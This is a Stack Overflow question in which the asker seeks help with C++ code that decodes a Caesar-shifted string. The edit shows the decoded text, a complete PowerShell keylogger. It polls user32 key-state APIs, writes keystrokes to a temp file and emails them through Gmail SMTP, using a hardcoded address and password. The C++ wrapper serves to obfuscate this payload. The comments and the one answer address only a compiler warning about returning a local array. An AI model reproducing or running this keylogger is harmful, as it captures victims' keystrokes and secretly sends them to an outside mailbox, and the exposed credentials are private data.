-4

Code:

#include <iostream>
#include <regex>
 
using namespace std;
char* encrypt(string te){
    int n = te.length();

    char new_array1[n + 1];
    strcpy(new_array1, te.c_str());
     for (int i = 0; i < n; i++){
        new_array1[i]=new_array1[i]+1;
     }

    return new_array1;
}
char* decrypt(string te){
    int n = te.length();

    char new_array[n + 1];
    strcpy(new_array, te.c_str());
     for (int i = 0; i < n; i++){
        new_array[i]=new_array[i]-1;
     }
    
    return new_array;
}

int main() {
    string text =R"(gvodujpo!Tubsu.LfzMphhfs)%Qbui>#%fow;ufnq]lfzmphhfs/uyu#*!♂|♂!!$!Tjhobuvsft!gps!BQJ!Dbmmt♂!!%tjhobuvsft!>!A(♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup-!FybduTqfmmjoh>usvf*^!♂qvcmjd!tubujd!fyufso!tipsu!HfuBtzodLfzTubuf)jou!wjsuvbmLfzDpef*<!♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup*^♂qvcmjd!tubujd!fyufso!jou!HfuLfzcpbseTubuf)czuf\^!lfztubuf*<♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup*^♂qvcmjd!tubujd!fyufso!jou!NbqWjsuvbmLfz)vjou!vDpef-!jou!vNbqUzqf*<♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup*^♂qvcmjd!tubujd!fyufso!jou!UpVojdpef)vjou!xWjsuLfz-!vjou!xTdboDpef-!czuf\^!mqlfztubuf-!Tztufn/Ufyu/TusjohCvjmefs!qxt{Cvgg-!jou!ddiCvgg-!vjou!xGmbht*<♂(A♂♂!!$!mpbe!tjhobuvsft!boe!nblf!nfncfst!bwbjmbcmf♂!!%BQJ!>!Bee.Uzqf!.NfncfsEfgjojujpo!%tjhobuvsft!.Obnf!(Xjo43(!.Obnftqbdf!BQJ!.QbttUisv♂!!!!♂!!$!dsfbuf!pvuqvu!gjmf♂!!%ovmm!>!Ofx.Jufn!.Qbui!%Qbui!.JufnUzqf!Gjmf!.Gpsdf♂♂!!usz♂!!|♂!!!!Xsjuf.Iptu!(Sfdpsejoh!lfz!qsfttft/!Qsftt!DUSM,D!up!tff!sftvmut/(!.GpsfhspvoeDpmps!Sfe♂♂!!!$qmfbtf!tqfdjgz!ujnf!boe!efgbvmu!jt!31!tfdpoet♂!!!!%ujnf!>!1♂!!!!xijmf)%ujnf!.mu!21111111*!|♂♂!!!!%ujnf♂!!!!%ujnf,,♂!!!!!!Tubsu.Tmffq!.Njmmjtfdpoet!3♂!!!!!!♂!!!!!!$!tdbo!bmm!BTDJJ!dpeft!bcpwf!9♂!!!!!!gps!)%btdjj!>!:<!%btdjj!.mf!365<!%btdjj,,*!|♂!!!!!!!!$!hfu!dvssfou!lfz!tubuf♂!!!!!!!!%tubuf!>!%BQJ;;HfuBtzodLfzTubuf)%btdjj*♂♂!!!!!!!!$!jt!lfz!qsfttfe@♂!!!!!!!!jg!)%tubuf!.fr!.43878*!|♂!!!!!!!!!!%ovmm!>!\dpotpmf^;;DbqtMpdl♂♂!!!!!!!!!!$!usbotmbuf!tdbo!dpef!up!sfbm!dpef♂!!!!!!!!!!%wjsuvbmLfz!>!%BQJ;;NbqWjsuvbmLfz)%btdjj-!4*♂♂!!!!!!!!!!$!hfu!lfzcpbse!tubuf!gps!wjsuvbm!lfzt♂!!!!!!!!!!%lctubuf!>!Ofx.Pckfdu!Czuf\^!367♂!!!!!!!!!!%difdllctubuf!>!%BQJ;;HfuLfzcpbseTubuf)%lctubuf*♂♂!!!!!!!!!!$!qsfqbsf!b!TusjohCvjmefs!up!sfdfjwf!joqvu!lfz♂!!!!!!!!!!%nzdibs!>!Ofx.Pckfdu!.UzqfObnf!Tztufn/Ufyu/TusjohCvjmefs♂♂!!!!!!!!!!$!usbotmbuf!wjsuvbm!lfz♂!!!!!!!!!!%tvddftt!>!%BQJ;;UpVojdpef)%btdjj-!%wjsuvbmLfz-!%lctubuf-!%nzdibs-!%nzdibs/Dbqbdjuz-!1*♂♂!!!!!!!!!!jg!)%tvddftt*!♂!!!!!!!!!!|♂!!!!!!!!!!!!$!bee!lfz!up!mphhfs!gjmf♂!!!!!!!!!!!!\Tztufn/JP/Gjmf^;;BqqfoeBmmUfyu)%Qbui-!%nzdibs-!\Tztufn/Ufyu/Fodpejoh^;;Vojdpef*!♂!!!!!!!!!!~♂!!!!!!!!♂!!!!!!~♂!!!!~♂!!~♂!!gjobmmz♂!!|♂!!!!$!qmfbtf!tqfdjgz!zpvs!fnbjm!jogp♂♂!!!!%ebub!>!Hfu.Dpoufou!#%Qbui#!♂!!!!%fnbjmup!>!(vmusponfhbuspo1Ahnbjm/dpn(♂!!!!%fnbjm!>!(vmusponfhbuspo1Ahnbjm/dpn(♂!!!!%TNUQTfswfs!>!(tnuq/hnbjm/dpn(♂!!!!%TNUQQpsu!>!(698(♂!!!!%Qbttxpse!>!(jmjkb3116(♂!!!!%tvckfdu!>!(ifsf!jt!uif!lfzt(
♂!!!!%tnuq!>!Ofx.Pckfdu!Tztufn/Ofu/Nbjm/TnuqDmjfou)%TNUQTfswfs-!%TNUQQpsu*<♂!!!!%tnuq/FobcmfTTM!>!%usvf♂!!!!%tnuq/Dsfefoujbmt!>!Ofx.Pckfdu!Tztufn/Ofu/OfuxpslDsfefoujbm)%fnbjm-!%Qbttxpse*<♂!!!!%tnuq/Tfoe)%fnbjm-!%fnbjmup-!%tvckfdu-!%ebub*<♂!!!!♂!!!!♂!!~♂~♂♂Tubsu.LfzMphhfs♂)";
    
    
    char enctext[] ={*decrypt(text)};
    cout<<sizeof(enctext)/sizeof(enctext[0]);
    for (int i =0; i<sizeof(enctext)/sizeof(enctext[0]); i++){
        cout<<enctext[i];
    }
    return 0;
}

I just want to use function decrypt to print the text, but I get a lot od warnings that I dont understand. The code wont print anything even if it has nothing to do with those two functions. How to fix this problem and print the decrypted version of text?

Warnings:

vr.cpp: In function 'char* encrypt(std::string)':
vr.cpp:14:12: warning: address of local variable 'new_array1' returned [-Wreturn-local-addr]
   14 |     return new_array1;
      |            ^~~~~~~~~~
vr.cpp:8:10: note: declared here
    8 |     char new_array1[n + 1];
      |          ^~~~~~~~~~
vr.cpp: In function 'char* decrypt(std::string)':
vr.cpp:25:12: warning: address of local variable 'new_array' returned [-Wreturn-local-addr]
   25 |     return new_array;
      |            ^~~~~~~~~
vr.cpp:19:10: note: declared here
   19 |     char new_array[n + 1];
      |          ^~~~~~~~~

Edit:

#include <iostream>
#include <regex>
#include <fstream>  
using namespace std;
string convertToString(char* a, int size)
{
    int i;
    string s = "";
    for (i = 0; i < size; i++) {
        s = s + a[i];
    }
    return s;
}
string  encrypt(string te){
    int n = te.length();

    char new_array1[n + 1];
    strcpy(new_array1, te.c_str());
     for (int i = 0; i < n; i++){
        new_array1[i]=new_array1[i]+1;
     }
    string str1 = convertToString(new_array1, sizeof(new_array1) / sizeof(char));
    return str1;
}
string decrypt(string te){
    int n = te.length();

    char new_array[n + 1];
    strcpy(new_array, te.c_str());
     for (int i = 0; i < n; i++){
        new_array[i]=new_array[i]-1;
     }
    string str1 = convertToString(new_array, sizeof(new_array) / sizeof(char));
    return str1;
}

int main() {
    string text =R"(gvodujpo!Tubsu.LfzMphhfs)%Qbui>#%fow;ufnq]lfzmphhfs/uyu#*!♂|♂!!$!Tjhobuvsft!gps!BQJ!Dbmmt♂!!%tjhobuvsft!>!A(♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup-!FybduTqfmmjoh>usvf*^!♂qvcmjd!tubujd!fyufso!tipsu!HfuBtzodLfzTubuf)jou!wjsuvbmLfzDpef*<!♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup*^♂qvcmjd!tubujd!fyufso!jou!HfuLfzcpbseTubuf)czuf\^!lfztubuf*<♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup*^♂qvcmjd!tubujd!fyufso!jou!NbqWjsuvbmLfz)vjou!vDpef-!jou!vNbqUzqf*<♂\EmmJnqpsu)#vtfs43/emm#-!DibsTfu>DibsTfu/Bvup*^♂qvcmjd!tubujd!fyufso!jou!UpVojdpef)vjou!xWjsuLfz-!vjou!xTdboDpef-!czuf\^!mqlfztubuf-!Tztufn/Ufyu/TusjohCvjmefs!qxt{Cvgg-!jou!ddiCvgg-!vjou!xGmbht*<♂(A♂♂!!$!mpbe!tjhobuvsft!boe!nblf!nfncfst!bwbjmbcmf♂!!%BQJ!>!Bee.Uzqf!.NfncfsEfgjojujpo!%tjhobuvsft!.Obnf!(Xjo43(!.Obnftqbdf!BQJ!.QbttUisv♂!!!!♂!!$!dsfbuf!pvuqvu!gjmf♂!!%ovmm!>!Ofx.Jufn!.Qbui!%Qbui!.JufnUzqf!Gjmf!.Gpsdf♂♂!!usz♂!!|♂!!!!Xsjuf.Iptu!(Sfdpsejoh!lfz!qsfttft/!Qsftt!DUSM,D!up!tff!sftvmut/(!.GpsfhspvoeDpmps!Sfe♂♂!!!$qmfbtf!tqfdjgz!ujnf!boe!efgbvmu!jt!31!tfdpoet♂!!!!%ujnf!>!1♂!!!!xijmf)%ujnf!.mu!21111111*!|♂♂!!!!%ujnf♂!!!!%ujnf,,♂!!!!!!Tubsu.Tmffq!.Njmmjtfdpoet!3♂!!!!!!♂!!!!!!$!tdbo!bmm!BTDJJ!dpeft!bcpwf!9♂!!!!!!gps!)%btdjj!>!:<!%btdjj!.mf!365<!%btdjj,,*!|♂!!!!!!!!$!hfu!dvssfou!lfz!tubuf♂!!!!!!!!%tubuf!>!%BQJ;;HfuBtzodLfzTubuf)%btdjj*♂♂!!!!!!!!$!jt!lfz!qsfttfe@♂!!!!!!!!jg!)%tubuf!.fr!.43878*!|♂!!!!!!!!!!%ovmm!>!\dpotpmf^;;DbqtMpdl♂♂!!!!!!!!!!$!usbotmbuf!tdbo!dpef!up!sfbm!dpef♂!!!!!!!!!!%wjsuvbmLfz!>!%BQJ;;NbqWjsuvbmLfz)%btdjj-!4*♂♂!!!!!!!!!!$!hfu!lfzcpbse!tubuf!gps!wjsuvbm!lfzt♂!!!!!!!!!!%lctubuf!>!Ofx.Pckfdu!Czuf\^!367♂!!!!!!!!!!%difdllctubuf!>!%BQJ;;HfuLfzcpbseTubuf)%lctubuf*♂♂!!!!!!!!!!$!qsfqbsf!b!TusjohCvjmefs!up!sfdfjwf!joqvu!lfz♂!!!!!!!!!!%nzdibs!>!Ofx.Pckfdu!.UzqfObnf!Tztufn/Ufyu/TusjohCvjmefs♂♂!!!!!!!!!!$!usbotmbuf!wjsuvbm!lfz♂!!!!!!!!!!%tvddftt!>!%BQJ;;UpVojdpef)%btdjj-!%wjsuvbmLfz-!%lctubuf-!%nzdibs-!%nzdibs/Dbqbdjuz-!1*♂♂!!!!!!!!!!jg!)%tvddftt*!♂!!!!!!!!!!|♂!!!!!!!!!!!!$!bee!lfz!up!mphhfs!gjmf♂!!!!!!!!!!!!\Tztufn/JP/Gjmf^;;BqqfoeBmmUfyu)%Qbui-!%nzdibs-!\Tztufn/Ufyu/Fodpejoh^;;Vojdpef*!♂!!!!!!!!!!~♂!!!!!!!!♂!!!!!!~♂!!!!~♂!!~♂!!gjobmmz♂!!|♂!!!!$!qmfbtf!tqfdjgz!zpvs!fnbjm!jogp♂♂!!!!%ebub!>!Hfu.Dpoufou!#%Qbui#!♂!!!!%fnbjmup!>!(vmusponfhbuspo1Ahnbjm/dpn(♂!!!!%fnbjm!>!(vmusponfhbuspo1Ahnbjm/dpn(♂!!!!%TNUQTfswfs!>!(tnuq/hnbjm/dpn(♂!!!!%TNUQQpsu!>!(698(♂!!!!%Qbttxpse!>!(jmjkb3116(♂!!!!%tvckfdu!>!(ifsf!jt!uif!lfzt(
♂!!!!%tnuq!>!Ofx.Pckfdu!Tztufn/Ofu/Nbjm/TnuqDmjfou)%TNUQTfswfs-!%TNUQQpsu*<♂!!!!%tnuq/FobcmfTTM!>!%usvf♂!!!!%tnuq/Dsfefoujbmt!>!Ofx.Pckfdu!Tztufn/Ofu/OfuxpslDsfefoujbm)%fnbjm-!%Qbttxpse*<♂!!!!%tnuq/Tfoe)%fnbjm-!%fnbjmup-!%tvckfdu-!%ebub*<♂!!!!♂!!!!♂!!~♂~♂♂Tubsu.LfzMphhfs♂)";
    
    
    string s =decrypt(text);
    cout<<s;
    return 0;
}

Code looks like this now but I still get some unwanted chars like : ßÿü

function Start-KeyLogger($Path="$env:temp\keylogger.txt") ßÿü{ßÿü  # Signatures for API Callsßÿü  $signatures = @'ßÿü[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] ßÿüpublic static extern short GetAsyncKeyState(int virtualKeyCode); ßÿü[DllImport("user32.dll", CharSet=CharSet.Auto)]ßÿüpublic static extern int GetKeyboardState(byte[] keystate);ßÿü[DllImport("user32.dll", CharSet=CharSet.Auto)]ßÿüpublic static extern int MapVirtualKey(uint uCode, int uMapType);ßÿü[DllImport("user32.dll", CharSet=CharSet.Auto)]ßÿüpublic static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);ßÿü'@ßÿüßÿü  # load signatures and make members availableßÿü  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThrußÿü    ßÿü  # create output fileßÿü  $null = New-Item -Path $Path -ItemType File -Forceßÿüßÿü  tryßÿü  {ßÿü    Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Redßÿüßÿü   #please specify time and default is 20 secondsßÿü    $time = 0ßÿü    while($time -lt 10000000) {ßÿüßÿü    $timeßÿü    $time++ßÿü      Start-Sleep -Milliseconds 2ßÿü      ßÿü      # scan all ASCII codes above 8ßÿü      for ($ascii = 9; $ascii -le 254; $ascii++) {ßÿü        # get current key stateßÿü        $state = $API::GetAsyncKeyState($ascii)ßÿüßÿü        # is key pressed?ßÿü        if ($state -eq -32767) {ßÿü
 $null = [console]::CapsLockßÿüßÿü          # translate scan code to real codeßÿü          $virtualKey = $API::MapVirtualKey($ascii, 3)ßÿüßÿü          # get keyboard state for virtual keysßÿü          $kbstate = New-Object Byte[] 256ßÿü          $checkkbstate = $API::GetKeyboardState($kbstate)ßÿüßÿü          # prepare a StringBuilder to receive input keyßÿü          $mychar = New-Object -TypeName System.Text.StringBuilderßÿüßÿü          # translate virtual keyßÿü          $success 
= $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)ßÿüßÿü          if ($success) ßÿü          {ßÿü            # add key to logger fileßÿü            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) ßÿü          }ßÿü        ßÿü      }ßÿü    }ßÿü  }ßÿü  finallyßÿü  {ßÿü    # please specify your email infoßÿüßÿü    $data = Get-Content "$Path" ßÿü    $emailto = 'ultronmegatron0@gmail.com'ßÿü    $email = 'ultronmegatron0@gmail.com'ßÿü    $SMTPServer = 'smtp.gmail.com'ßÿü    $SMTPPort = '587'ßÿü    $Password = 'ilija2005'ßÿü    $subject = 'here is the keys'      ßÿü    $smtp = New-Object 
System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);ßÿü    $smtp.EnableSSL = $trueßÿü    $smtp.Credentials = New-Object System.Net.NetworkCredential($email, $Password);ßÿü    $smtp.Send($email, $emailto, $subject, $data);ßÿü    ßÿü    ßÿü  }ßÿü}ßÿüßÿüStart-KeyLoggerßÿü
  • 2
    The warnings are giving you useful information about your problem - did you try searching on how to solve each individual warning? – user438383 Aug 16 '21 at 14:02
  • 3
    You're using a `string` as your input. Your life will be a lot easier if you use it for output as well instead of trying to return a raw character array. – Nathan Pierson Aug 16 '21 at 14:03
  • Can you put the warnings are you getting? – AlexSp3 Aug 16 '21 at 14:03
  • 2
    The warnings are on point. Please invest more time in googling them before posting. – Koronis Neilos Aug 16 '21 at 14:11
  • Did you try writing these functions to do *nothing?* That is, to accept a string and return it unchanged? You'd get at least some of the same warnings, and find the bugs much more easily. – Beta Aug 16 '21 at 14:12
  • See [Why aren't variable-length arrays part of the C++ standard?](https://stackoverflow.com/q/1887097). – prapin Aug 16 '21 at 18:30

1 Answers1

0

If you were to use the warning to search you can find the problem very easily, for example here is a solution:

https://www.educative.io/edpresso/resolving-the-function-returns-address-of-local-variable-error

The compiler does not like that you are returning the address to a local variable that would be recycled as part of good memory management.

Dorito Johnson
  • 217
  • 1
  • 11